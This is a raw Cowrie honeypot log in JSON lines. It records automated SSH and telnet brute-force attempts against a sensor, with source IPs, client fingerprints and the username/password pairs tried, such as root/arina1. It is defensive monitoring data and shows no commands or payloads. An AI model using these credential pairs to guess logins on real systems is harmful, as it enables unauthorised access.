{"eventid":"cowrie.login.failed","username":"atomwallet","password":"cosmos123","message":"login attempt [atomwallet/cosmos123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:09:20.252556Z","src_ip":"162.241.239.241","session":"10e89a6c87bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:09:21.281509Z","src_ip":"162.241.239.241","session":"10e89a6c87bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.88960909843445,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:09:24.737379Z","src_ip":"107.150.146.69","session":"22c668704c75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.190.154.85","src_port":35080,"dst_ip":"159.203.135.109","dst_port":22,"session":"7395e9c61d7b","protocol":"ssh","message":"New connection: 146.190.154.85:35080 (159.203.135.109:22) [session: 7395e9c61d7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:09:29.881405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:09:29.890734Z","src_ip":"146.190.154.85","session":"7395e9c61d7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:09:29.968651Z","src_ip":"146.190.154.85","session":"7395e9c61d7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ip3","password":"ip3","message":"login attempt [ip3/ip3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:09:30.317165Z","src_ip":"146.190.154.85","session":"7395e9c61d7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:09:31.399815Z","src_ip":"146.190.154.85","session":"7395e9c61d7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.87310314178467,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:09:38.402509Z","src_ip":"170.64.224.25","session":"837cd6a2486f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.154.150","src_port":57780,"dst_ip":"159.203.135.109","dst_port":23,"session":"f03eda811240","protocol":"telnet","message":"New connection: 143.198.154.150:57780 (159.203.135.109:23) [session: f03eda811240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:09:57.755373Z"}
{"eventid":"cowrie.session.closed","duration":65.46019697189331,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:10:03.905191Z","src_ip":"170.64.224.25","session":"020ac3d07260","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":91.57063412666321,"message":"Connection lost after 91 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:10:22.745797Z","src_ip":"170.64.224.25","session":"f7258701e0e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":35556,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a9cfeacd172","protocol":"telnet","message":"New connection: 170.64.224.25:35556 (159.203.135.109:23) [session: 8a9cfeacd172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:10:35.368016Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":57280,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b5236499be8","protocol":"ssh","message":"New connection: 159.65.58.200:57280 (159.203.135.109:22) [session: 9b5236499be8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:10:39.300266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:10:39.794706Z","src_ip":"159.65.58.200","session":"9b5236499be8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:10:39.798676Z","src_ip":"159.65.58.200","session":"9b5236499be8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sergey","password":"123456","message":"login attempt [sergey/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:10:41.144074Z","src_ip":"159.65.58.200","session":"9b5236499be8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:10:42.305192Z","src_ip":"159.65.58.200","session":"9b5236499be8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.12644362449646,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:10:47.494345Z","src_ip":"170.64.224.25","session":"8a9cfeacd172","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.7.194","src_port":61896,"dst_ip":"159.203.135.109","dst_port":22,"session":"c40e380f4a3b","protocol":"ssh","message":"New connection: 182.93.7.194:61896 (159.203.135.109:22) [session: c40e380f4a3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:10:54.560957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:10:54.564582Z","src_ip":"182.93.7.194","session":"c40e380f4a3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:10:54.778862Z","src_ip":"182.93.7.194","session":"c40e380f4a3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"skyline","password":"123456","message":"login attempt [skyline/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:10:55.669960Z","src_ip":"182.93.7.194","session":"c40e380f4a3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:10:56.887541Z","src_ip":"182.93.7.194","session":"c40e380f4a3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":42658,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e54532dadc4","protocol":"telnet","message":"New connection: 170.64.224.25:42658 (159.203.135.109:23) [session: 2e54532dadc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:11:12.447757Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.190.154.85","src_port":33418,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e7f532f44f9","protocol":"ssh","message":"New connection: 146.190.154.85:33418 (159.203.135.109:22) [session: 3e7f532f44f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:11:24.008280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:11:24.012057Z","src_ip":"146.190.154.85","session":"3e7f532f44f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:11:24.081291Z","src_ip":"146.190.154.85","session":"3e7f532f44f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tracker","password":"tracker123","message":"login attempt [tracker/tracker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:11:24.395163Z","src_ip":"146.190.154.85","session":"3e7f532f44f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:11:25.468596Z","src_ip":"146.190.154.85","session":"3e7f532f44f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54022,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d2f43e8d5ae","protocol":"telnet","message":"New connection: 170.64.224.25:54022 (159.203.135.109:23) [session: 3d2f43e8d5ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:11:27.295109Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":41214,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1ab672a5376","protocol":"ssh","message":"New connection: 87.251.79.125:41214 (10.17.0.5:22) [session: d1ab672a5376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:11:30.561646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:11:30.565562Z","src_ip":"87.251.79.125","session":"d1ab672a5376","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:11:30.636073Z","src_ip":"87.251.79.125","session":"d1ab672a5376","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"arina1","message":"login attempt [root/arina1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:11:30.853298Z","src_ip":"87.251.79.125","session":"d1ab672a5376","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:11:31.926947Z","src_ip":"87.251.79.125","session":"d1ab672a5376","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.202.230.81","src_port":46862,"dst_ip":"10.17.0.5","dst_port":22,"session":"52a74eca6632","protocol":"ssh","message":"New connection: 213.202.230.81:46862 (10.17.0.5:22) [session: 52a74eca6632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:11:45.578808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:11:45.581731Z","src_ip":"213.202.230.81","session":"52a74eca6632","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:11:45.676352Z","src_ip":"213.202.230.81","session":"52a74eca6632","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xt","password":"xt2024","message":"login attempt [xt/xt2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:11:45.957107Z","src_ip":"213.202.230.81","session":"52a74eca6632","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.61495876312256,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:11:46.062601Z","src_ip":"170.64.224.25","session":"2e54532dadc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:11:47.054714Z","src_ip":"213.202.230.81","session":"52a74eca6632","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36700,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f7d6ceb753c","protocol":"ssh","message":"New connection: 103.176.20.57:36700 (159.203.135.109:22) [session: 1f7d6ceb753c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:11:48.438796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:11:48.441800Z","src_ip":"103.176.20.57","session":"1f7d6ceb753c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:11:48.693068Z","src_ip":"103.176.20.57","session":"1f7d6ceb753c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"199621","message":"login attempt [root/199621] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:11:49.437324Z","src_ip":"103.176.20.57","session":"1f7d6ceb753c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:11:50.686994Z","src_ip":"103.176.20.57","session":"1f7d6ceb753c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":34280,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a7d7d03dc43","protocol":"ssh","message":"New connection: 91.92.40.4:34280 (10.17.0.5:22) [session: 7a7d7d03dc43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:11:53.102456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:11:53.106820Z","src_ip":"91.92.40.4","session":"7a7d7d03dc43","protocol":"ssh"}
